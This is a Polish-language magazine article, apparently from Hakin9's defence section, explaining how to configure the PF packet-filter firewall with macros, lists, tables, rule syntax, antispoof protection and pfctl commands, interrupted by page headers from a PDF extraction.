PF ma charakter zapory ogniowej, a co za tym idzie większość ustawień wprowadzana jest właśnie pod kątem firewalla. Na początek warto wiedzieć czym jest ściana ogniowa, jak działa i jakie funkcje spełnia, aby uzmysłowić sobie skąd może pochodzić zagrożenie. Jej prymarnym zadaniem jest oczywiście ochrona sieci przed potencjalnymi atakami. Skąd mogą one pochodzić? Przede wszystkim z innej sieci. W tym celu jest śledzony ruch pakietów pomiędzy siecią potencjalnej ofiary i agresora. Badania prowadzone nad tymi pakietami – ich typami, zawartością itp. – umożliwiają wprowadzenie stosownych odpowiednich ograniczeń. W ten sposób przyjmowane są jedynie pożądane pakiety, natomiast reszta jest automatycznie odrzucana. Dzięki takim zabiegom można w dużej mierze ograniczyć ryzyko włamania. PF wykorzystuje tzw. zestawy reguł, które są w rzeczywistości zestawami poleceń wykonywanych w odniesieniu do poszczególnych pakietów. Działanie Filtra Pakietów jest dosyć specyficzne, ponieważ – co warto zauważyć – nie przerywa on działania po napotkaniu odpowiedniej reguły. Jeśli nie jest ona ostatnią, następuje dalsze sprawdzanie. Kiedy nie ma już kolejnej reguły, następuje wykonanie ostatniej zapamiętanej. Doskonałym przykładem jest tu podanie dwóch reguł: pass in all oraz block in all. Pierwszej umożliwia nieograniczony ruch sieciowy, natomiast druga wręcz przeciwnie, całkowicie go blokuje. Co zrobi PF napotkawszy takie polecenia? Oczywiście na początku sprawdzi je kolejno docierając do ostatniej linii, która nakazuje wszystko zablokować. Pomimo że pierwsze polecenie umożliwia ruch sieciowy, jest ono w pewnym sensie ignorowane przez program Packet Filter. Dzieje się tak dlatego, że w przykładzie nie ma podanych szczegółowych warunków do spełnienia przez pakiety, więc teoretycznie obydwa spełniają oczekiwania programu. Tworząc skomplikowane schematy działania tego filtra rozwiązanie takie okazuje się logiczne i sensowne. Tego typu schemat działania przypomina nieco

sięganie po kolejne pasujące elementy, aż do momentu, kiedy następny okazuje się niepoprawny.

Domyślnym plikiem konfiguracyjnym jest /etc/pf.conf (wskazujemy go także podczas konfiguracji /etc/rc.conf poprzez dodanie wpisu pf_rules="/etc/pf.conf" ). To w nim znajdują się instrukcje dla programu Packet Filter. Z założenia program ten miał odbiegać od sztywnych norm ograniczających użytkownika. Dowodem tego jest aż siedem możliwych rodzajów, czy też form wprowadzanych instrukcji. Daje to możliwość uczynienia reguł prostymi i zarazem przejrzystymi.

Na początku warto przyjrzeć się tzw. makrom. Czym są makra? Najprościej można je określić jako zbiór zmiennych zdefiniowanych przez użytkownika. Zmienne takie wykorzystuje się zazwyczaj do przechowywania adresów IP i numerów portów. Niekiedy za pomocą zmiennych określa się także interfejsy sieciowe. Aby stworzyć makro, wystarczy zdefiniować jego nazwę i przypisać do niej określoną wartość, np. host = „111.111.111.111”. W nazwie makra wolno używać zarówno liter, cyfr oraz podkreślenia. Jedynym zastrzeżeniem jest fakt, że nazwy nie mogą stanowić słowa zarezerwowane, takie jak out czy pass . Aby wykorzystać makro należy jego nazwę poprzedzić znakiem $ (dolar), np. $host . Dzięki takim udogodnieniom praca z Filtrem Pakietów staje się znacznie przyjemniejsza.

Warto także dodać, że z makrami doskonałą symbiozę tworzą tzw. listy. Dzięki nim można pogrupować podobne parametry i stworzyć z nich jedną regułę. Kiedy najczęściej są wykorzystywane listy? Otóż załóżmy, że musimy zablokować kilka adresów IP. Oczywiście można zdefiniować je pojedynczo i określić kryteria dla każdego z osobna. Sposób ten jest jednak mniej czytelny i znacznie bardziej uciążliwy, kiedy takich adresów jest duża ilość. Prościej jest stworzyć z nich listę. Poszczególne elementy definiowane są przy użyciu nawiasów klamrowych. I choć można użyć takiej listy bezpośrednio w głównej części naszej reguły, najczęściej przypisuje się je do zmiennych tworząc makra. Zastanawiający może być fakt, w jaki sposób program – choćby pfctl – widzi taką listę. Otóż dla niego oznacza to konieczność stworzenia wielu reguł, tak jak byśmy dla

każdego elementu listy pisali osobną regułę. Dokładnie to musi zrobić program, kiedy podczas analizy pliku pf.conf natknie się na listę. Co istotne, dana reguła nie musi się ograniczać do jednej listy, ponieważ może zawierać definicję kilku, np. jedną zwierającą adresy IP i drugą opisującą określone porty. Należy zwrócić uwagę na dwa istotne detale. Po pierwsze przecinki oddzielające kolejne elementy nie są konieczne, jednakże zazwyczaj są wstawiane dla zachowania przejrzystości. Kolejny aspekt, to sposób deklarowania i tworzenia listy. Jeśli chcielibyśmy określić kilka adresów, które mają być akceptowane, lista taka mogłaby mieć postać, np. poprawne=”{xxx.xxx.xxx.xxx, yyy.yyy.yyy.yyy}”. Niekiedy przydatną funkcją oferowaną przez PF jest możliwość zagnieżdżania kolejnych list. Deklaracja odbywa się z użyciem wspomnianego już znaku $ (dolar). Operacją, której należy się wystrzegać, jest wykluczanie pojedynczych elementów. Jeśli zachodzi taka konieczność trzeba zachować ostrożność i dokładnie przeanalizować składnię. Zdarza się, że wprowadzone polecenia wykluczają się wzajemnie, co w efekcie rozbija całkowicie zaporę ogniową. Połączenie możliwości jakie oferują zarówno makra, jak i listy sprawia, że zaprogramowanie filtra staje się czynnością mniej skomplikowaną. Przykład praktycznego wykorzystania tych metod pokazuje Listing 1. Jak łatwo zauważyć, znacznie upraszcza to nie tylko dalsze korzystanie, ale także postać pliku konfiguracyjnego.

W przypadku dużej ilości adresów Ipv4 i Ipv6, lepszym rozwiązaniem są tzw. tabele. Zaprojektowano je właśnie w celu przechowywania adresów i umożliwiania szybkiego dostępu do nich. Największą zaletą takiego rozwiązania jest stosunkowo niskie obciążenie procesora oraz niewielkie zużycie pamięci. Tabele świetnie nadają się do przechowywania rozmaitych reguł przekierowujących, filtrujących i NAT. Powszechnie wykorzystane tabele zawdzięczają przede wszystkim niezwykłej wydajności. Aby stworzyć tabele, należy posłużyć się programem pfctl lub korzystając z dyrektywy table zrobić to bezpośrednio w pliku pf.conf. Zanim jednak do tego przejdziemy, należy wspomnieć o dwóch towarzyszących tabelom atrybutach, a mianowicie const i persist . Pierwszy

Page 60: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

60 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

61 HAKIN9 3/2010

z nich sprawia, że zawartość danej tabeli nie może zostać zmieniona. Jest to skuteczna metoda w przypadku, gdy zależy nam na zablokowaniu możliwości manipulacji adresami. Drugi parametr jest swego rodzaju zabezpieczeniem tabeli przed działalnością systemowego jądra. Oznacza to, że nawet w przypadku kiedy nie odwołują się do niej reguły, nie może zostać usunięta. Domyślnie zadaniem jądra byłoby automatyczne zlikwidowanie bezużytecznej tabeli. Korzystanie z tabel umożliwia szybką manipulację regułami. Prosty przykład ich wykorzystania przedstawia Listing 2. Zostały w nim stworzone dwie tabele, zawierające pożądane i niepożądane adresy IP. Następnie zostały zadeklarowane dwie reguły. Pierwsza z nich zakazuje dostępu niechcianym adresom, natomiast druga umożliwia ruch tym, które zostały wymienione jako niestwarzające zagrożenia dla naszego systemu. W przykładzie zostały dla uproszczenia określone jedynie reguły odpowiadające za ruch przychodzący. Można oczywiście dodatkowo przypisać reguły dla ruchu w drugą stronę, czyli wychodzącego (ang. out). Tabele są doskonałym rozwiązaniem, jeżeli zależy nam na wykluczeniu określonego adresu. O ile w odniesieniu do list, negacje są raczej odradzane – ponieważ są często źródłem niedopatrzeń, a co za tym idzie błędów i luk w zabezpieczeniach – w przypadku tabel ryzyko pomyłki jest znacznie mniejsze. Aby skorzystać ze wspomnianej negacji, wystarczy poprzedzić dany adres znakiem wykrzyknika. Może zdarzyć się sytuacja, że blokując określoną sieć (xxx.xxx.xxx.xxx/yy), będziemy chcieli umożliwić połączenie jednemu, wybranemu adresowi (zzz.zzz.zzz.zzz). W takim wypadku wystarczy stworzyć tabelę np. table <blokowane_adresy> {xxx.xxx.xxx.xxx/yy, !zzz.zzz.zzz.zzz} . Widzimy zatem, że tabele są znacznie oszczędniejszą i wygodniejszą formą przekazywania danych do reguł. Nie oznacza to jednak końca udogodnień ze programu. Niekiedy z rozmaitych względów praktyczniejszym, a przede wszystkim wygodniejszym sposobem udostępniania adresów IP jest wykorzystanie plików. Implementacja jest prosta i ogranicza się do zasady mówiącej, że każdy adres musi znajdować się w nowej linii. Załóżmy, że posiadamy taki plik, np. /etc/przyjazne_

adresy_IP. Zapis umożliwiający wczytanie jego zawartości może mieć postać: table <przyjazne_adresy_IP> persist file „/etc/przyjazne_adresy_IP”. Trudno określić, która z metod jest najlepsza, ponieważ każda z nich ma zarówno wady, jak i zalety. Warto jednak wiedzieć jakie mamy możliwości, ponieważ dzięki temu zawsze będziemy mieli wybór, a nasze działanie nie będzie wymuszone. W odniesieniu do zabezpieczeń elastyczność jest niezwykle istotnym przywilejem.

Prostym sposobem na wprowadzanie wszelakich zmian jest wykorzystanie wspomnianego już programu pfctl. Udostępnia on opcje umożliwiające tworzenie i zarządzanie grupami adresów. Aby stworzyć nową grupę, np. niechciane_adresy_IP, wystarczy w konsoli wpisać polecenie pfctl -t niechciane_adresy_IP -Tadd xxx.xxx.xxx.xxx , a następnie zatwierdzić klawiszem Enter. W tym momencie program sprawdzi, czy tabela o podanej nazwie istnieje. Jeśli tak, to dopisze do niej podany adres. Gdyby okazało się, że nie ma takiej tabeli zostanie ona utworzona i uzupełniona odpowiednim wpisem. Dla pewności warto każdorazowo sprawdzić, czy operacja przebiegła zgodnie z planem. Służy do tego parametr -Tshow (pfctl -t nazwa_tabeli -Tshow). Niekiedy zdarza się, że wprowadzony adres IP jest nieprawidłowy i trzeba go usunąć. Podobnie jak w powyższych przykładach, wystarczy wywołać program pfctl, wskazać na konkretną tabelę, w której znajduje się niechciany wpis i uzupełnić polecenie o parametr -Tdelete i numer IP. Program posiada znacznie więcej przydatnych funkcji, ale do nich wrócimy w dalszej części artykułu.

Zapewne zastanawiacie się w jaki – najprostszy – sposób można wykorzystać możliwości Filtra Pakietów. Przykład podstawowego użycia tego programu przedstawia Listing 3. Znajdują się tam dwa pozornie wykluczające się polecenia. Jedno nakazuje zablokowanie wszystkich pakietów przychodzących, a kolejne każe przepuścić pakiety od określonych grup. Nonsens? Niezupełnie, ponieważ wspomnieliśmy już, że Packet Filter sprawdza polecenia, dopóki nie dotrze do ostatniego. Ma to ogromny plus, ponieważ umożliwia tworzenie takich konstrukcji jak zaprezentowana w przykładzie. Reguła odrzucająca wszystkie

pakiety przychodzące daje nam pewność, że żaden z nich się nie przedostanie. Ale sytuacja taka kompletnie sparaliżowałaby normalny ruch sieciowy. Należy zatem określić te adresy, którym ufamy. Tak też postępuje PF, kiedy odnajdzie drugą regułę. Jest to banalnie prosty przykład, jednak niezwykle skuteczny. Aby był on całkowicie zrozumiały przeanalizujmy w skrócie poszczególne elementy. Słowa block i pass nakazują, aby PF zablokował i przepuścił pakiety. Na drugim miejscu znajduje się słowo in oznaczające, że reguła dotyczy ruchu przychodzącego. Oczywiście program wymaga również określenia interfejsu (tu: sis0). Na koniec należy określić skąd dokąd, a właściwie od kogo do kogo ma zostać umożliwiony ruch, a na kogo zostanie nałożona blokada.

Znając takie zagadnienia jak listy, makra i tabele nadszedł czas na prezentacje konkretnych zastosowań. Na początku zajmiemy się składnią obowiązującą tworzone reguły, a następnie przejdziemy do przykładów. Wspomnieliśmy już na czym polega filtrowanie pakietów. Jest to w pewnym sensie zarządzanie losem każdego pakietu i określanie, który ma zostać przyjęty, a który odrzucony. Aby jednak zapora funkcjonowała tak jak powinna, czyli zabezpieczała daną maszynę, a nie utrudniała pracę użytkownikom konieczna jest skrupulatna konfiguracja. W przypadku większych sieci nie można jej zrobić w krótkim czasie, ponieważ każda reguła musi być dobrze przemyślana. Wyeliminuje to w przyszłości żmudne poszukiwanie miejsca zawierającego błąd. Prześledźmy zatem jakimi elementami dysponuje każda reguła. Oczywiście nie musimy korzystać z wszystkich, a jedynie z tych, których realnie potrzebujemy. Każdą regułę zaczynamy od określenia, czy będzie ona miała na celu blokowanie określonych pakietów (słowo kluczowe block), czy ich przepuszczanie (słowo kluczowe pass). W tym momencie warto wspomnieć o parametrze quick . Jeśli dana reguła zawiera taką deklarację, a sprawdzany pakiet spełnia jej założenia, to automatycznie program przyjmuje, że jest to ostatnia pasująca reguła i wykonuje określone działania. Dzięki tej metodzie można określić pewne wyjątki od naszych reguł.

Page 61: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

60 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

61 HAKIN9 3/2010

Kiedy wiadomo już jaki rodzaj akcji Packet Filter będzie podejmował, należy wskazać kierunek połączeń. Jak łatwo się domyśleć będzie to ruch przychodzący (słowo in) lub wychodzący (słowo out). Najczęściej kontroluje się ruch przychodzący, ponieważ zazwyczaj to właśnie z zewnątrz pochodzą zmodyfikowane pakiety. Aby jednak PF wiedział gdzie powinien w ogóle szukać ruchu sieciowego, koniecznie należy wskazać odpowiedni interfejs. Nie będziemy wymieniać tu wszystkich możliwości, ponieważ mijałoby się to z celem. Może to być, np. dc0, sis0 w zależności od posiadanego sprzętu. Najlepiej sprawdzić to za pomocą polecenia ifconfig. Deklaracja urządzenia odbywa się przez wpisanie słowa kluczowego on, a następnie podanie nazwy interfejsu. Ponieważ funkcjonowanie Filtra Pakietów jest związane z tzw. Warstwą 3 i 4, istnieje możliwość zdefiniowania protokołu. Może to być chociażby tcp, icmp, czy udp. Lista jest bardzo długa, jednak w prosty sposób możemy ją prześledzić. Wystarczy wpisać w konsoli polecenie cat /etc/protocols . Jeżeli zależy nam na podaniu konkretnego protokołu, koniecznie należy poprzedzić jego nazwę słowem proto. Najważniejszą częścią każdej reguły jest jednak miejsce, w którym definiuje się adresy docelowe oraz źródłowe. I to właśnie na nich należy skupić uwagę, ponieważ drobna pomyłka może zepsuć całą regułę.

Na początku podajemy tzw. adresy źródłowe poprzedzając je znacznikiem from. Program oferuje tu bogatą gamę możliwości. W zależności od potrzeby wpisujemy tu pojedynczy adres IP, przypisujemy stworzoną wcześniej grupę, zestaw w postaci listy, tabeli lub nawet blok sieci (CIDR, np. xxx.xxx.xxx.xxx/yy). Dla określenia wszystkich adresów – np. aby wszystkie były wpuszczone – stosuje się słowo kluczowe any. Niekiedy można spotkać także formę all, będącą odpowiednikiem formy from any to any. Po określeniu źródła należy także wskazać miejsce przeznaczenia. Deklaracja taka odbywa się poprzez parametr to i podanie adresu lub określonej grupy. Tak jak w powyższym przypadku, określenie adresu docelowego może mieć postać pojedynczego adresu, tabeli itd. Obsługuje także opcję any, czyli przeznaczeniem

będzie każdy adres z pewnego zakresu. W tym momencie można także przypisać negacje, jednak jak już omówiliśmy to wcześniej, zdecydowanie lepszym rozwiązaniem dla tego typu działań są tabele.

Podobnie jak w przypadku adresów, możemy określić porty źródłowe i docelowe. Także w tym przypadku istnieje kilka sposobów na deklarację. Pierwszy to po prostu podanie odpowiedniego numeru portu (zakres od 1 do 65535). Niestety czasem zapis taki może przysporzyć nieco kłopotów z odróżnieniem poszczególnych usług po ich numerycznym opisie.

Znacznie wygodniejsze – zwłaszcza dla mniej doświadczonych użytkowników – jest korzystanie z możliwości zapisu nazwy usługi. Kompletna lista znajduje się w pliku /etc/services (np. ftp, www, link, kazaa itd.). Kiedy zachodzi jednak potrzeba wyodrębnienia wielu portów, warto stworzyć ich listę i to właśnie ją przypisać. Załóżmy jednak, że zależy nam na przedziale pomiędzy portem o numerze sto, a portem o numerze tysiąc. Wypisywanie każdego po kolei byłoby kompletnym nonsensem. W takiej sytuacji korzystamy oczywiście z operatorów określających przedziały. Do dyspozycji mamy chociażby znaki mniejszości i większości, ale także mniejszy lub równy (<=) oraz większy lub równy (>=). To jednak nie wszystko! Packet Filter rozpoznaje także takie operatory jak: różny (!=), przedział (><) i wartości poza danym przedziałem (<>). Dzięki temu w stosunkowo prosty i precyzyjny zarazem sposób możemy określić konkretną grupę interesujących nas portów.

PF oferuje również określenie tzw. stanów i flag, jednak w aktualnych wersjach

zostały zdefiniowane jako domyślne najlepsze rozwiązania. W odniesieniu do stanów jest to opcja keep state, czyli polecenie przechowywania informacji o połączeniu w momencie, kiedy okazuje się, że dany pakiet odpowiada regułom. Aktualnie jest ona dołączana domyślnie, a informacje zapisywane są w tzw. tabeli stanów. Ma to znaczący wpływ na dokładność filtrowania oraz wydajność filtra. Tabela ta pozwala na błyskawiczne sprawdzenie, czy pakiet jest elementem nawiązanego wcześniej połączenia. Kiedy okaże się, że tak jest zostaje on przepuszczony bez sprawdzania zgodności z regułami. Oczywiście zawartość tabeli można kontrolować, np. określać maksymalną liczbę stanów (max liczba_stanów) a także śledzić liczbę utworzonych stanów dla danego IP (source-track). Jeśli uznamy, że określone wpisy są zbędne, można za pomocą parametru no state zapobiec ich utworzeniu.

Flagi – a konkretnie ACK (potwierdzenie) i SYN (zapytanie o możliwość rozpoczęcia nowej sesji) – związane są z protokołem TCP (proto tcp). Wykorzystuje się je najczęściej właśnie podczas rozpoczynania nowej sesji (SYN). Zapis ustalający w regule odpowiednie cechy sprawdzanych flag może mieć postać np. flags S/SA . Na początku znajduje się słowo kluczowe, a następnie określenie rodzaju flagi, która powinna znajdować się w nagłówku, aby dalsze sprawdzanie w ogóle miało miejsce (tu: S, czyli SYN ). Jeżeli założenia są spełnione, ostatnia część zapisu wskazuje, jakie flagi mają być sprawdzane w dalszej kolejności (tu: SA , czyli SYN i ACK ). Począwszy od OpenBSD w wersji 4.1 flagi są automatycznie dołączane do

Listing 1. Przykład użycia makr i list

interfejs = „sis0"

host1 = „111.111.111.111"

host2 = „222.222.222.222"

host3 = „333.333.333.333"

wszystkie_hosty = „{" $host1 $host2 $host3 „}"

block in on $interfejs from $wszystkie_hosty to any

Listing 2. Przykład wykorzystania tabel przez Packet Filter

table <niechciane_adresy_IP> {xxx.xxx.xxx.xxx, yyy.yyy.yyy.yyy, zzz.zzz.zzz.zzz}

table <przyjazne_adresy_IP> {aaa.aaa.aaa.aaa, bbb.bbb.bbb.bbb}

block in on sis0 from < niechciane_adresy_IP> to any

pass in on sis0 from <przyjazne_adresy_IP> to any

Page 62: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

62 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

63 HAKIN9 3/2010

każdej reguły TCP. Zazwyczaj zaleca się, aby to Packet Filter wybrał i zastosował najkorzystniejszą kombinację flag. Trudno sprecyzować jaka będzie najbardziej uniwersalna i najkorzystniejsza. Raczej odradza się wskazywania w jednej regule wszystkich flag. Znacznie korzystniejszym rozwiązaniem jest z całą pewnością sprawdzenie SYN, ACK, RST i ewentualnie FIN . Reguła ta będzie znacznie bezpieczniejsza i skuteczniejsza.

Obecnie najczęściej blokuje się całkowicie ruch sieciowy ustawiając reguły block in all oraz block out all. Następnie wprowadza się kolejno poszczególne wyjątki. Jest to jedna z najbezpieczniejszych technik, ponieważ daje możliwość prawdopodobnie największej kontroli nad tym, które pakiety mają zostać odrzucone, a które przyjęte. W tym celu należy dokładnie przemyśleć, które porty, protokoły i adresy są pożądane. Pamiętajmy, że skrupulatność i rozsądek są tu kluczowymi atutami, gdyż budujemy zaporę ogniową. Jej szczelność decyduje o bezpieczeństwie, a przecież na tym najbardziej nam zależy. Ponadto przydatnym może okazać się wspomniany już parametr quick . Kiedy najlepiej jej użyć? Otóż załóżmy, że w jednej linii przepuszczamy wszystkie pakiety spełniające pewne założenia reguły, natomiast w kolejnej linii blokujemy cały ruch. Jaki będzie efekt? Nietrudno przewidzieć, że zakończy się blokadą sieci. Jest to częsty błąd popełniany przez pośpiech. Można takiej sytuacji uniknąć korzystając z argumentu quick . Kiedy pakiet spełni oczekiwania danej reguły, dalsze sprawdzanie się nie odbędzie.

Dobrą praktyką jest tworzenie szablonów, czy też schematów konfiguracji PF tak, aby były one elastyczne i w pewnym sensie uniwersalne. Oczywiście trudno stworzyć coś takiego w krótkim czasie, ponieważ niezbędna okaże się szczegółowa wiedza na temat ruchu sieciowego w miejscu, gdzie ma zostać ustawiona zapora ogniowa. Doskonałym początkiem jest jednak wspomniane zatrzymanie zarówno ruchu wychodzącego jak i przychodzącego. Daje to bazę dla dalszych prac. W przypadku mniej skomplikowanego firewalla, można w tym momencie przepuścić pakiety na określonych portach, aby np. umożliwić

przeglądanie stron internetowych (Listing 4). Wystarczy odblokować protokoły tcp i udp oraz odpowiednie porty, z których korzystają. Tu zostały podane domyślne wartości, a mianowicie port o numerze 53 związany z tcp i udp. Dodatkowo niezbędne będzie także umożliwienie ruchu na porcie 80, który jest przypisany do protokołu www.

Mówiąc o kontrolowaniu pakietów, trudno nie wspomnieć o tzw. spoofingu. Ujmując zagadnienie najogólniej można określić to jako fałszowanie pakietów, polegające na zmianie ich adresów źródłowych. Dzięki tej technice zostaje ukryta prawdziwa tożsamość i pochodzenie pakietów. Atakujący jest w stanie przejąć kontrolę nad usługami przeznaczonymi jedynie dla użytku ściśle określonych numerów IP i doskonale maskować miejsce, z którego dokonano włamania. Tworząc Filter Pakietów pomyślano również o takiej ewentualności. Rozwiązanie oferowane przez program nie jest doskonałe, ale byłoby nadużyciem określenie go jako nieskuteczne. Aby ustawić ochronę przeciwko sfałszowanym pakietom, należy użyć słowa kluczowego antispoof. Polecenie to posiada niewiele dodatkowych parametrów, dzięki czemu jego ustawienie jest niezwykle proste. Jeżeli zależy nam na zakończeniu porównywania z kolejnymi regułami, gdy dany pakiet będzie spełniał założenia antispoof, koniecznie należy dodać opcję quick . Następnie określamy dla jakich interfejsów ma zostać włączona ochrona zapobiegająca spoofingowi. Na końcu określamy jeszcze rodzinę adresów: inet lub inet6. Polecenie może mieć postać, np. antispoof for sis0 inet . Sposób działanie tego polecenia jest pozornie skomplikowany, jednak w rzeczywistości składa się z dwóch logicznych reguł. Pierwsza sprawdza, czy dany pakiet przechodzi przez dany interfejs. Jeśli nie oznacza to, że pochodzi z innego interfejsu sieciowego i natychmiast jest blokowany. Druga bada, czy przypadkiem host nie wysłał pakietu samemu sobie. Sytuacja taka raczej nie powinna mieć miejsca, więc PF uznaje ją automatycznie za podejrzaną. Stosowanie antispoof ma miejsce zazwyczaj w przypadkach, kiedy interfejs posiada adres IP. W przeciwnym razie może nastąpić zablokowanie ruchu przychodzącego. Ochrona przed

sfałszowanymi pakietami jest jednocześnie kolejnym etapem budowy prostego firewalla. Właściwie, jeśli nie będzie wykorzystywany dodatkowy serwer, taka ochrona w wielu przypadkach okaże się wystarczająca. Być może ktoś zarzuci takiemu rozwiązaniu zbytnie uproszczenie. Pamiętajmy jednak, że nie jest to kompletna zapora – choć jest niezwykle skuteczna w warunkach domowych – a jedynie przykład.

Często można spotkać się z zabezpieczaniem ruchu sieciowego poprzez tworzenie tzw. mostów pomiędzy kilkoma segmentami sieci. Mostem najczęściej jest komputer użyty w charakterze pośrednika. To właśnie przez niego zostaje przepuszczony ruch sieciowy. Co daje takie rozwiązanie? Jednym z ogromnych plusów jest fakt, że pakiety mogą być wielokrotnie filtrowane. Załóżmy, że mamy do czynienia z sieciami podpiętymi do interfejsów xl0 i xl1. W takim przypadku każdy pakiet zostanie poddany sprawdzeniu dwukrotnie, podczas wejścia i wyjścia z mostu. W takim wypadku odmiennie niż w poprzednich przykładach warto rozpocząć zestaw reguł od umożliwienia ruchu w obu kierunkach (pass in oraz pass out) dla każdego interfejsu korzystającego z mostu. Nie jest to jednak regułą, ponieważ jeżeli któryś interfejs jest mniej wiarygodny niż inny, można oczywiście zablokować na nim ruch sieciowy. Tak naprawdę jedynym ograniczeniem Filtra Pakietów jest wyobraźnia administratora. Im więcej możliwych nadużyć potrafimy wyodrębnić, tym skuteczniej zabezpieczymy sieć. Pozostałe reguły tworzymy korzystając z zaprezentowanych wyżej poleceń składowych.

Aby uprościć proces tworzenia szkieletu pliku konfiguracyjnego można podzielić go na mniejsze partie. Pozwala to na wyrobienie określonych nawyków, dzięki którym zwiększa się szansa na wyeliminowanie ewentualnych błędów. No dobrze, tylko jak podzielić taki plik? Konfigurując Packet Filter któryś raz z rzędu, nietrudno zauważyć, że pewne elementy – a konkretnie ich umiejscowienie – się powtarzają. W ten oto sposób łatwo zauważyć, że na początku zawsze deklarujemy listy, makra i zmienne. W sekcji tej wskazujemy chociażby poszczególne

Page 63: Usługi Informatyczne dla Firm | Outsourcing IT | AKTE · 2020. 4. 30. · MICHAŁ KURATCZYK Cloud computing robi od pewnego czasu zawrotną karierę medialną. Tematem zajmują się

OBRONA

62 HAKIN9 3/2010

ROZSĄDEK TO BEZPIECZEŃSTWO

63 HAKIN9 3/2010

interfejsy. Następnie najczęściej znajdują się zadeklarowane tabele, oczywiście zakładając, że z nich korzystamy. Po wstępnych przygotowaniach następują właściwe reguły i ich opcje. Niekiedy stosuje się wcześniej normalizację, lecz ponieważ nie jest ona zalecana we wszystkich przypadkach, nie będziemy się nią zajmować w tym momencie. Nie można także zapomnieć o translacji adresów (czyli NAT), którą deklarujemy przed regułami. W przypadku programu PF kolejność ma znaczenie, ponieważ z pliku konfiguracyjnego odczytywana jest każda kolejna linia, zaczynając od pierwszej. Niekiedy można natknąć się na opinię, że plik konfiguracyjny dzieli się na siedem części, jednak w rzeczywistości nie ma to znaczenia, ponieważ ma on być przede wszystkim czytelny dla administratora.

Edytowanie pliku za każdym razem, kiedy konieczne jest wprowadzenie zmian, może stać się nieco kłopotliwe. Znacznie wygodniejszym rozwiązaniem jest wykorzystanie narzędzia pfctl, które umożliwia kontrolowanie Packet Filter. Dzięki niemu bez problemu nie tylko uruchomimy lub wyłączymy PF, ale także wprowadzimy zmiany w tabelach i przeładujemy ustawienia. Aby uruchomić program, wystarczy wydać jedno, krótkie polecenie pfctl -e. Podobnie jest w sytuacji, w której zachodzi potrzeba natychmiastowego wyłączenia zapory ogniowej. Służy do tego parametr -d. A co zrobić jeżeli koniecznie musimy załadować plik konfiguracyjny lub go przeładować? Oczywiście można wykonać restart całego komputera wraz z nowymi ustawieniami, jednak sami przyznajcie – nie jest to komfortowe rozwiązanie. Twórcy programu zadbali także o umożliwienie użytkownikowi manipulowanie zestawem reguł, tabelami oraz samym Packet Filtrem. Jeśli chcielibyśmy, aby został załadowany plik konfiguracyjny, wydajemy polecenie pfctl -f /etc/pf.conf.

Niekiedy jednak zachodzi potrzeba załadowania jedynie określonych fragmentów pliku, np. reguł filtrujących lub reguł NAT. Wydawałoby się to trudne do wykonania, gdyby nie opcje -Rf (reguły filtrujące) i -Nf (reguły NAT). Pfctl oferuje też bogaty wachlarz opcji pozwalających na przeglądanie, a dokładniej na wyświetlanie

zarówno reguł, statystyk, liczników jak i tabel stanów połączeń. Oczywiście jeśli zachodzi taka potrzeba można wyświetlić wszystkie informacje jednocześnie (-sa). Zazwyczaj czytelniej i zdecydowanie wygodniej jest dokonywać poszczególnych odczytów oddzielnie. Aby sprawdzić jakie mamy ustawione reguły filtrujące lub NAT, uruchamiamy program pfctl z parametrami -sr lub -sn. Jeśli natomiast interesuje nas zawartość tabeli stanów dodajemy parametr -ss . Nieco rzadziej wykorzystywana, jednak równie użyteczna jest opcja -si, dzięki której sprawdzimy między innymi liczniki filtra. I choć wydawałoby się, że zaprezentowane wyżej dodatkowe parametry programu pfctl nie mają dużego znaczenia dla administratora, jest to błędny tok rozumowania, ponieważ to właśnie one pozwalają na przejęcie pełnej kontroli nad firewallem. Umożliwiają nie tylko sprawdzenie jakie reguły zostały ustawione, ale także co można dodać, aby uszczelnić nasze zabezpieczenia.

Korzystając z pfctl z łatwością dodamy także nowe wartości do tabeli, a nawet utworzymy nowe tabele lub usuniemy zbędne. Załóżmy, że chcemy wykreować nową tabelę o nazwie danger_IP. Jak tego dokonać bez edycji pliku pf.conf ? Wystarczy wydać polecenie pfctl -t danger_IP -Tadd xxx.xxx.xxx.xxx/yy. W tym przypadku nie tylko zostanie utworzona nieistniejąca wcześniej tabela, ale zostanie ona także uzupełniona pierwszą wartością, którą w naszym przypadku stanowiła by określona grupa adresów IP. Jeśli zajdzie natomiast potrzeba usunięcia określonego wpisu, nie stanowi to problemu. W tym celu używamy opcji Tdelete, zamiast Tadd. Poprawna konfiguracja zapory ogniowej jest niezwykle żmudnym zadaniem, jednak dzięki takim narzędziom jak pfctl staje się nie tylko łatwiejsza, ale też pochłania mniej czasu. Po wprowadzeniu do tabeli odpowiednich wartości zawsze warto przejrzeć wprowadzone zmiany (-Tshow), ponieważ czasem niewielki błąd może zaprzepaścić większość naszej pracy. Oczywiście ogólna składnia polecenia pozostaje identyczna jak w przypadku dodawania nowych wartości, co oznacza, że nie wolno zapomnieć o wcześniejszym wskazaniu odpowiedniej tabeli. Nie omówiliśmy tu wszystkich dodatkowych opcji dla parametru -T. Oferuje

on też możliwość zabicia tabeli poprzez rozszerzenie -Tkill, wyczyszczenie całej zawartości (-Tflush), a nawet wyzerowanie statystyk tabeli (-Tzero). Podobnie wygląda sposób wprowadzania nowych makr. Służy do tego polecenie parametr -D, który należy uzupełnić odpowiednimi wartościami i co najważniejsze podać nazwę dla tworzonego makra. Mnogość opcji programu pfctl sprawia, że trudno jest wyodrębnić, które z nich są ważne, a które mniej istotne. Zaleca się dokładne zapoznanie z jego dokumentacją (man pfctl). Nie będziemy analizować każdego możliwego polecenia, opis ten mógłby zdominować całość tego artykułu. Zaprezentowane powyżej przykłady mają jedynie udowodnić, że wszystko co potrafi Packet Filter może być w pełni kontrolowane przez pfctl.

